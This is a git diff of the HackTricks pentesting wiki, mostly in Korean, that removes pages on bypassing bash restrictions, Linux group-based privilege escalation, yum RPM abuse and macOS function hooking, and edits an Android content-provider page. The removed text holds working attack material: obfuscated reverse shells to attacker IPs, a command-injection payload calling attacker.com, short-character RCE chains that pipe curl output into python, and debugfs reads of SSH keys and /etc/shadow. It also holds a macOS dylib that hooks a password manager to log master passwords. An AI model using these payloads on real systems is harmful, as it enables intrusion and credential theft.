diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md deleted file mode 100644 index 1ecbaf838..000000000 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ /dev/null @@ -1,319 +0,0 @@ -# 리눅스 제한 우회 - -{{#include ../../banners/hacktricks-training.md}} - -## 일반적인 제한 우회 - -### 리버스 셸 -```bash -# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time -echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' -# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h -``` -### 짧은 Rev 셸 -```bash -#Trick from Dikline -#Get a rev shell with -(sh)0>/dev/tcp/10.10.10.10/443 -#Then get the out of the rev shell executing inside of it: -exec >&0 -``` -### 경로 우회 및 금지된 단어 -```bash -# Question mark binary substitution -/usr/bin/p?ng # /usr/bin/ping -nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost - -# Wildcard(*) binary substitution -/usr/bin/who*mi # /usr/bin/whoami - -# Wildcard + local directory arguments -touch -- -la # -- stops processing options after the -- -ls * -echo * #List current files and folders with echo and wildcard - -# [chars] -/usr/bin/n[c] # /usr/bin/nc - -# Quotes -'p'i'n'g # ping -"w"h"o"a"m"i # whoami -ech''o test # echo test -ech""o test # echo test -bas''e64 # base64 - -#Backslashes -\u\n\a\m\e \-\a # uname -a -/\b\i\n/////s\h - -# $@ -who$@ami #whoami - -# Transformations (case, reverse, base64) -$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case -$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash) -$(rev<<<'imaohw') #whoami -bash<<<$(base64 -d<< /tmp/[ -chmod +x [ -export PATH=/tmp:$PATH -if [ "a" ]; then echo 1; fi # Will print hello! -``` -### 다국어 명령 주입 -```bash -1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} -/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ -``` -### 잠재적인 정규 표현식 우회 -```bash -# A regex that only allow letters and numbers might be vulnerable to new line characters -1%0a`curl http://attacker.com` -``` -### Bashfuscator -```bash -# From https://github.com/Bashfuscator/Bashfuscator -./bashfuscator -c 'cat /etc/passwd' -``` -### 5글자로 RCE -```bash -# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge -#Oragnge Tsai solution -## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date -http://host/?cmd=>ls\ -http://host/?cmd=ls>_ -http://host/?cmd=>\ \ -http://host/?cmd=>-t\ -http://host/?cmd=>\>g -http://host/?cmd=ls>>_ - -## Step2: generate `curl orange.tw|python` to file "g" -## by creating the necesary filenames and writting that content to file "g" executing the previous generated file -http://host/?cmd=>on -http://host/?cmd=>th\ -http://host/?cmd=>py\ -http://host/?cmd=>\|\ -http://host/?cmd=>tw\ -http://host/?cmd=>e.\ -http://host/?cmd=>ng\ -http://host/?cmd=>ra\ -http://host/?cmd=>o\ -http://host/?cmd=>\ \ -http://host/?cmd=>rl\ -http://host/?cmd=>cu\ -http://host/?cmd=sh _ -# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file - -## Finally execute the file "g" -http://host/?cmd=sh g - - -# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*" -https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/ -## Execute tar command over a folder -http://52.199.204.34/?cmd=>tar -http://52.199.204.34/?cmd=>zcf -http://52.199.204.34/?cmd=>zzz -http://52.199.204.34/?cmd=*%20/h* - -# Another curiosity if you can read files of the current folder -ln /f* -## If there is a file /flag.txt that will create a hard link -## to it in the current folder -``` -### 4글자로 RCE -```bash -# In a similar fashion to the previous bypass this one just need 4 chars to execute commands -# it will follow the same principle of creating the command `ls -t>g` in a file -# and then generate the full command in filenames -# generate "g> ht- sl" to file "v" -'>dir' -'>sl' -'>g\>' -'>ht-' -'*>v' - -# reverse file "v" to file "x", content "ls -th >g" -'>rev' -'*v>x' - -# generate "curl orange.tw|python;" -'>\;\\' -'>on\\' -'>th\\' -'>py\\' -'>\|\\' -'>tw\\' -'>e.\\' -'>ng\\' -'>ra\\' -'>o\\' -'>\ \\' -'>rl\\' -'>cu\\' - -# got shell -'sh x' -'sh g' -``` -## 읽기 전용/Noexec/Distroless 우회 - -**읽기 전용 및 noexec 보호**가 있는 파일 시스템이나 심지어 distroless 컨테이너 안에 있다면, 여전히 **임의의 바이너리, 심지어 쉘을 실행할 수 있는 방법이 있습니다!:** - -{{#ref}} -../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ -{{#endref}} - -## Chroot 및 기타 감옥 우회 - -{{#ref}} -../privilege-escalation/escaping-from-limited-bash.md -{{#endref}} - -## 참고자료 및 추가 정보 - -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) -- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) -- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/exploiting-yum.md b/src/linux-unix/privilege-escalation/exploiting-yum.md deleted file mode 100644 index a01425a74..000000000 --- a/src/linux-unix/privilege-escalation/exploiting-yum.md +++ /dev/null @@ -1,23 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -yum에 대한 추가 예제는 [gtfobins](https://gtfobins.github.io/gtfobins/yum/)에서 찾을 수 있습니다. - -# RPM 패키지를 통한 임의 명령 실행 - -## 환경 확인 - -이 벡터를 활용하기 위해 사용자는 더 높은 권한을 가진 사용자, 즉 root로 yum 명령을 실행할 수 있어야 합니다. - -### 이 벡터의 작동 예 - -이 익스플로잇의 작동 예는 [tryhackme](https://tryhackme.com)에서 [daily bugle](https://tryhackme.com/room/dailybugle) 방에서 찾을 수 있습니다. - -## RPM 패키징 - -다음 섹션에서는 [fpm](https://github.com/jordansissel/fpm)을 사용하여 리버스 셸을 RPM으로 패키징하는 방법을 다룰 것입니다. - -아래 예제는 공격자가 정의할 수 있는 임의의 스크립트를 포함한 설치 전 트리거가 있는 패키지를 생성합니다. 설치되면 이 패키지는 임의의 명령을 실행합니다. 시연을 위해 간단한 리버스 넷캣 셸 예제를 사용했지만 필요에 따라 변경할 수 있습니다. -```text - -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md deleted file mode 100644 index 88e718790..000000000 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ /dev/null @@ -1,140 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Sudo/Admin Groups - -## **PE - Method 1** - -**때때로**, **기본적으로 \(또는 일부 소프트웨어가 필요하기 때문에\)** **/etc/sudoers** 파일 안에서 이러한 줄을 찾을 수 있습니다: -```bash -# Allow members of group sudo to execute any command -%sudo ALL=(ALL:ALL) ALL - -# Allow members of group admin to execute any command -%admin ALL=(ALL:ALL) ALL -``` -이것은 **sudo 또는 admin 그룹에 속한 모든 사용자가 sudo로 무엇이든 실행할 수 있음을 의미합니다**. - -이 경우, **root가 되려면 다음을 실행하면 됩니다**: -```text -sudo su -``` -## PE - Method 2 - -모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하세요: -```bash -find / -perm -4000 2>/dev/null -``` -이진 파일 pkexec가 SUID 이진 파일이고 sudo 또는 admin에 속한다면, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 다음 내용을 확인하세요: -```bash -cat /etc/polkit-1/localauthority.conf.d/* -``` -여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스에서는 기본적으로 **sudo 또는 admin** 그룹이 나타날 수 있습니다. - -**루트가 되려면 다음을 실행할 수 있습니다**: -```bash -pkexec "/bin/sh" #You will be prompted for your user password -``` -**pkexec**를 실행하려고 시도했는데 **오류**가 발생하면: -```bash -polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie -==== AUTHENTICATION FAILED === -Error executing command as another user: Not authorized -``` -**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션이 필요합니다**: -```bash:session1 -echo $$ #Step1: Get current PID -pkexec "/bin/bash" #Step 3, execute pkexec -#Step 5, if correctly authenticate, you will have a root session -``` - -```bash:session2 -pkttyagent --process #Step 2, attach pkttyagent to session1 -#Step 4, you will be asked in this session to authenticate to pkexec -``` -# Wheel Group - -**때때로**, **기본적으로** **/etc/sudoers** 파일 안에서 이 줄을 찾을 수 있습니다: -```text -%wheel ALL=(ALL:ALL) ALL -``` -이것은 **wheel 그룹에 속한 모든 사용자가 sudo로 모든 것을 실행할 수 있음을 의미합니다**. - -이 경우, **root가 되려면 다음을 실행하면 됩니다**: -```text -sudo su -``` -# Shadow Group - -**shadow** 그룹의 사용자들은 **/etc/shadow** 파일을 **읽을** 수 있습니다: -```text --rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow -``` -그래서 파일을 읽고 **해시를 크랙해보세요**. - -# 디스크 그룹 - -이 권한은 기계 내부의 모든 데이터에 접근할 수 있으므로 거의 **루트 접근과 동등합니다**. - -파일: `/dev/sd[a-z][1-9]` -```text -debugfs /dev/sda1 -debugfs: cd /root -debugfs: ls -debugfs: cat /root/.ssh/id_rsa -debugfs: cat /etc/shadow -``` -debugfs를 사용하면 **파일을 쓸 수** 있다는 점에 유의하세요. 예를 들어 `/tmp/asd1.txt`를 `/tmp/asd2.txt`로 복사하려면 다음과 같이 할 수 있습니다: -```bash -debugfs -w /dev/sda1 -debugfs: dump /tmp/asd1.txt /tmp/asd2.txt -``` -그러나 **root가 소유한 파일** \(예: `/etc/shadow` 또는 `/etc/passwd`\)을 **작성하려고** 하면 "**Permission denied**" 오류가 발생합니다. - -# Video Group - -`w` 명령을 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며 다음과 같은 출력을 보여줍니다: -```bash -USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -yossi tty1 22:16 5:13m 0.05s 0.04s -bash -moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash -``` -**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다. - -**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장할 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다. -```bash -cat /dev/fb0 > /tmp/screen.raw -cat /sys/class/graphics/fb0/virtual_size -``` -**원시 이미지**를 **열기** 위해 **GIMP**를 사용하고 **`screen.raw`** 파일을 선택한 후 파일 형식으로 **Raw image data**를 선택할 수 있습니다: - -![](../../images/image%20%28208%29.png) - -그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 (화면을 더 잘 보여주는 유형을 선택하십시오): - -![](../../images/image%20%28295%29.png) - -# 루트 그룹 - -기본적으로 **루트 그룹의 구성원**은 **서비스** 구성 파일이나 일부 **라이브러리** 파일 또는 **특히 흥미로운 것들**을 **수정**할 수 있는 접근 권한이 있을 수 있습니다. 이는 권한 상승에 사용될 수 있습니다... - -**루트 구성원이 수정할 수 있는 파일 확인**: -```bash -find / -group root -perm -g=w 2>/dev/null -``` -# Docker Group - -호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다. - -{{#ref}} -https://github.com/KrustyHack/docker-privilege-escalation -{{#endref}} - -{{#ref}} -https://fosterelli.co/privilege-escalation-via-docker.html -{{#endref}} - -# lxc/lxd Group - -[lxc - Privilege Escalation](lxd-privilege-escalation.md) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md deleted file mode 100644 index 36906e214..000000000 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ /dev/null @@ -1,338 +0,0 @@ -# macOS Function Hooking - -{{#include ../../../banners/hacktricks-training.md}} - -## Function Interposing - -**`__interpose`** 섹션(또는 **`S_INTERPOSING`** 플래그가 있는 섹션)을 포함하는 **dylib**를 생성하여 **원본** 및 **대체** 함수에 대한 **함수 포인터**의 튜플을 포함합니다. - -그런 다음 **`DYLD_INSERT_LIBRARIES`**로 dylib를 **주입**합니다(인터포징은 메인 앱이 로드되기 전에 발생해야 합니다). 명백히 [**`DYLD_INSERT_LIBRARIES`** 사용에 적용되는 **제한**이 여기에도 적용됩니다](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). - -### Interpose printf - -{{#tabs}} -{{#tab name="interpose.c"}} -```c:interpose.c -// gcc -dynamiclib interpose.c -o interpose.dylib -#include -#include - -int my_printf(const char *format, ...) { -//va_list args; -//va_start(args, format); -//int ret = vprintf(format, args); -//va_end(args); - -int ret = printf("Hello from interpose\n"); -return ret; -} - -__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf -__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; -``` -{{#endtab}} - -{{#tab name="hello.c"}} -```c -//gcc hello.c -o hello -#include - -int main() { -printf("Hello World!\n"); -return 0; -} -``` -{{#endtab}} - -{{#tab name="interpose2.c"}} -```c -// Just another way to define an interpose -// gcc -dynamiclib interpose2.c -o interpose2.dylib - -#include - -#define DYLD_INTERPOSE(_replacement, _replacee) \ -__attribute__((used)) static struct { \ -const void* replacement; \ -const void* replacee; \ -} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ -(const void*) (unsigned long) &_replacement, \ -(const void*) (unsigned long) &_replacee \ -}; - -int my_printf(const char *format, ...) -{ -int ret = printf("Hello from interpose\n"); -return ret; -} - -DYLD_INTERPOSE(my_printf,printf); -``` -{{#endtab}} -{{#endtabs}} -```bash -DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello -Hello from interpose - -DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello -Hello from interpose -``` -## Method Swizzling - -In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** - -필요한 것은 **객체**, **메서드** 및 **매개변수**입니다. 메서드가 호출될 때 **msg가 전송**되며, 이는 **`objc_msgSend`** 함수를 사용합니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` - -객체는 **`someObject`**, 메서드는 **`@selector(method1p1:p2:)`**이며, 인수는 **value1**, **value2**입니다. - -객체 구조를 따라가면 **메서드 배열**에 도달할 수 있으며, 여기에는 **이름**과 **메서드 코드에 대한 포인터**가 **위치**해 있습니다. - -> [!CAUTION] -> 메서드와 클래스가 이름을 기반으로 접근되기 때문에 이 정보는 바이너리에 저장됩니다. 따라서 `otool -ov
` 또는 [`class-dump
`](https://github.com/nygard/class-dump)로 이를 검색할 수 있습니다. - -### Accessing the raw methods - -메서드의 이름, 매개변수 수 또는 주소와 같은 정보를 다음 예와 같이 접근할 수 있습니다: -```objectivec -// gcc -framework Foundation test.m -o test - -#import -#import -#import - -int main() { -// Get class of the variable -NSString* str = @"This is an example"; -Class strClass = [str class]; -NSLog(@"str's Class name: %s", class_getName(strClass)); - -// Get parent class of a class -Class strSuper = class_getSuperclass(strClass); -NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - -// Get information about a method -SEL sel = @selector(length); -NSLog(@"Selector name: %@", NSStringFromSelector(sel)); -Method m = class_getInstanceMethod(strClass,sel); -NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); -NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - -// Iterate through the class hierarchy -NSLog(@"Listing methods:"); -Class currentClass = strClass; -while (currentClass != NULL) { -unsigned int inheritedMethodCount = 0; -Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - -NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - -for (unsigned int i = 0; i < inheritedMethodCount; i++) { -Method method = inheritedMethods[i]; -SEL selector = method_getName(method); -const char* methodName = sel_getName(selector); -unsigned long address = (unsigned long)method_getImplementation(m); -NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); -} - -// Free the memory allocated by class_copyMethodList -free(inheritedMethods); -currentClass = class_getSuperclass(currentClass); -} - -// Other ways to call uppercaseString method -if([str respondsToSelector:@selector(uppercaseString)]) { -NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; -NSLog(@"Uppercase string: %@", uppercaseString); -} - -// Using objc_msgSend directly -NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); -NSLog(@"Uppercase string: %@", uppercaseString2); - -// Calling the address directly -IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address -NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp -NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method -NSLog(@"Uppercase string: %@", uppercaseString3); - -return 0; -} -``` -### Method Swizzling with method_exchangeImplementations - -함수 **`method_exchangeImplementations`**는 **하나의 함수의 구현 주소를 다른 함수로 변경**할 수 있게 해줍니다. - -> [!CAUTION] -> 따라서 함수가 호출될 때 **실행되는 것은 다른 함수**입니다. -```objectivec -//gcc -framework Foundation swizzle_str.m -o swizzle_str - -#import -#import - - -// Create a new category for NSString with the method to execute -@interface NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (SwizzleString) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original method -return [self swizzledSubstringFromIndex:from]; -} - -@end - -int main(int argc, const char * argv[]) { -// Perform method swizzling -Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); -Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); -method_exchangeImplementations(originalMethod, swizzledMethod); - -// We changed the address of one method for the other -// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex -// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -return 0; -} -``` -> [!WARNING] -> 이 경우 **정상적인** 메서드의 **구현 코드**가 **메서드** **이름**을 **검증**하면 이 스위즐링을 **감지**하고 실행을 방지할 수 있습니다. -> -> 다음 기술은 이러한 제한이 없습니다. - -### method_setImplementation을 이용한 메서드 스위즐링 - -이전 형식은 서로 다른 두 메서드의 구현을 변경하기 때문에 이상합니다. **`method_setImplementation`** 함수를 사용하면 **하나의 메서드의 구현을 다른 메서드로 변경**할 수 있습니다. - -새로운 구현에서 호출하기 전에 **원래 구현의 주소를 저장**하는 것을 잊지 마세요. 그렇지 않으면 나중에 그 주소를 찾기가 훨씬 복잡해질 것입니다. -```objectivec -#import -#import -#import - -static IMP original_substringFromIndex = NULL; - -@interface NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; - -@end - -@implementation NSString (Swizzlestring) - -- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { -NSLog(@"Custom implementation of substringFromIndex:"); - -// Call the original implementation using objc_msgSendSuper -return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); -} - -@end - -int main(int argc, const char * argv[]) { -@autoreleasepool { -// Get the class of the target method -Class stringClass = [NSString class]; - -// Get the swizzled and original methods -Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - -// Get the function pointer to the swizzled method's implementation -IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - -// Swap the implementations -// It return the now overwritten implementation of the original method to store it -original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - -// Example usage -NSString *myString = @"Hello, World!"; -NSString *subString = [myString substringFromIndex:7]; -NSLog(@"Substring: %@", subString); - -// Set the original implementation back -method_setImplementation(originalMethod, original_substringFromIndex); - -return 0; -} -} -``` -## Hooking Attack Methodology - -이 페이지에서는 함수를 후킹하는 다양한 방법에 대해 논의했습니다. 그러나 이 방법들은 **공격을 위해 프로세스 내에서 코드를 실행하는 것**을 포함합니다. - -이를 위해 가장 쉬운 기술은 [환경 변수를 통한 Dyld 주입 또는 하이재킹](../macos-dyld-hijacking-and-dyld_insert_libraries.md)입니다. 그러나 이 또한 [Dylib 프로세스 주입](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port)을 통해 수행될 수 있다고 생각합니다. - -그러나 두 옵션 모두 **보호되지 않은** 바이너리/프로세스에 **제한적**입니다. 각 기술을 확인하여 제한 사항에 대해 더 알아보세요. - -그러나 함수 후킹 공격은 매우 구체적이며, 공격자는 **프로세스 내부에서 민감한 정보를 훔치기 위해** 이를 수행합니다(그렇지 않으면 단순히 프로세스 주입 공격을 수행할 것입니다). 이 민감한 정보는 MacPass와 같은 사용자 다운로드 앱에 위치할 수 있습니다. - -따라서 공격자의 벡터는 취약점을 찾거나 애플리케이션의 서명을 제거하고, 애플리케이션의 Info.plist를 통해 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 주입하여 다음과 같은 내용을 추가하는 것입니다: -```xml -LSEnvironment - -DYLD_INSERT_LIBRARIES -/Applications/Application.app/Contents/malicious.dylib - -``` -그리고 **재등록** 애플리케이션: -```bash -/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app -``` -해당 라이브러리에 정보를 유출하는 후킹 코드를 추가하세요: 비밀번호, 메시지... - -> [!CAUTION] -> 최신 버전의 macOS에서는 애플리케이션 바이너리의 **서명을 제거**하고 이전에 실행된 경우, macOS가 더 이상 **애플리케이션을 실행하지 않습니다**. - -#### Library example -```objectivec -// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib - -// If you added env vars in the Info.plist don't forget to call lsregister as explained before - -// Listen to the logs with something like: -// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"' - -#include -#import - -// Here will be stored the real method (setPassword in this case) address -static IMP real_setPassword = NULL; - -static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) -{ -// Function that will log the password and call the original setPassword(pass, file_path) method -NSLog(@"[+] Password is: %@", password); - -// After logging the password call the original method so nothing breaks. -return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); -} - -// Library constructor to execute -__attribute__((constructor)) -static void customConstructor(int argc, const char **argv) { -// Get the real method address to not lose it -Class classMPDocument = NSClassFromString(@"MPDocument"); -Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - -// Make the original method setPassword call the fake implementation one -IMP fake_IMP = (IMP)custom_setPassword; -real_setPassword = method_setImplementation(real_Method, fake_IMP); -} -``` -## References - -- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md deleted file mode 100644 index eb3792a1f..000000000 --- a/src/misc/references.md +++ /dev/null @@ -1,95 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#ref}} -https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick -{{#endref}} - -{{#ref}} -https://hausec.com/pentesting-cheatsheet/#_Toc475368982 -{{#endref}} - -{{#ref}} -https://anhtai.me/pentesting-cheatsheet/ -{{#endref}} - -{{#ref}} -https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html -{{#endref}} - -{{#ref}} -https://ired.team/offensive-security-experiments/offensive-security-cheetsheets -{{#endref}} - -{{#ref}} -https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html -{{#endref}} - -{{#ref}} -https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md -{{#endref}} - -{{#ref}} -https://anhtai.me/oscp-fun-guide/ -{{#endref}} - -{{#ref}} -https://www.thehacker.recipes/ -{{#endref}} - -{{#ref}} -https://github.com/swisskyrepo/PayloadsAllTheThings -{{#endref}} - -{{#ref}} -https://gtfobins.github.io/ -{{#endref}} - -{{#ref}} -https://github.com/RistBS/Awesome-RedTeam-Cheatsheet -{{#endref}} - -{{#ref}} -https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet -{{#endref}} - -{{#ref}} -https://hideandsec.sh/ -{{#endref}} - -{{#ref}} -https://cheatsheet.haax.fr/ -{{#endref}} - -{{#ref}} -https://infosecwriteups.com/ -{{#endref}} - -{{#ref}} -https://www.exploit-db.com/ -{{#endref}} - -{{#ref}} -https://wadcoms.github.io/ -{{#endref}} - -{{#ref}} -https://lolbas-project.github.io -{{#endref}} - -{{#ref}} -https://pentestbook.six2dez.com/ -{{#endref}} - -{{#ref}} -https://www.hackingarticles.in/ -{{#endref}} - -{{#ref}} -https://pentestlab.blog/ -{{#endref}} - -{{#ref}} -https://ippsec.rocks/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 6e4e2f121..06468bff4 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -1,12 +1,10 @@ # Exploiting Content Providers -## Exploiting Content Providers - {{#include ../../../banners/hacktricks-training.md}} ## Intro -데이터는 **content provider**로 알려진 구성 요소의 요청에 따라 **하나의 애플리케이션에서 다른 애플리케이션으로 공급됩니다**. 이러한 요청은 **ContentResolver class** 메서드를 통해 관리됩니다. Content provider는 **데이터베이스**, **파일** 또는 **네트워크**와 같은 다양한 위치에 데이터를 저장할 수 있습니다. +데이터는 **content provider**로 알려진 구성 요소에 의해 요청 시 **하나의 애플리케이션에서 다른 애플리케이션으로 공급됩니다**. 이러한 요청은 **ContentResolver class** 메서드를 통해 관리됩니다. Content provider는 **데이터베이스**, **파일** 또는 **네트워크**와 같은 다양한 위치에 데이터를 저장할 수 있습니다. _Manifest.xml_ 파일에서는 content provider의 선언이 필요합니다. 예를 들어: ```xml @@ -14,9 +12,9 @@ _Manifest.xml_ 파일에서는 content provider의 선언이 필요합니다. ``` -`content://com.mwr.example.sieve.DBContentProvider/Keys`에 접근하려면 `READ_KEYS` 권한이 필요합니다. 개발자가 `/Keys`를 보호했지만 `/Keys/`를 선언한 실수로 인해 다음 섹션에서 `/Keys/` 경로에 접근할 수 있다는 점이 흥미롭습니다. +`content://com.mwr.example.sieve.DBContentProvider/Keys`에 접근하려면 `READ_KEYS` 권한이 필요합니다. 흥미롭게도, `/Keys/` 경로는 개발자가 `/Keys`는 보호했지만 `/Keys/`를 선언하는 실수로 인해 다음 섹션에서 접근할 수 있습니다. -**개인 데이터를 접근하거나 일부 취약점(SQL Injection 또는 Path Traversal)을 악용할 수 있습니다.** +**아마도 개인 데이터에 접근하거나 일부 취약점(SQL Injection 또는 Path Traversal)을 악용할 수 있습니다.** ## **노출된 콘텐츠 제공자**에서 정보 가져오기 ``` @@ -54,7 +52,7 @@ content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` -당신은 또한 **ContentProvider 코드**를 확인하여 쿼리를 검색해야 합니다: +당신은 **ContentProvider 코드**를 확인하여 쿼리를 검색해야 합니다: ![](<../../../images/image (121) (1) (1) (1).png>) @@ -66,8 +64,8 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/ ## **데이터베이스 기반 Content Providers** -아마도 대부분의 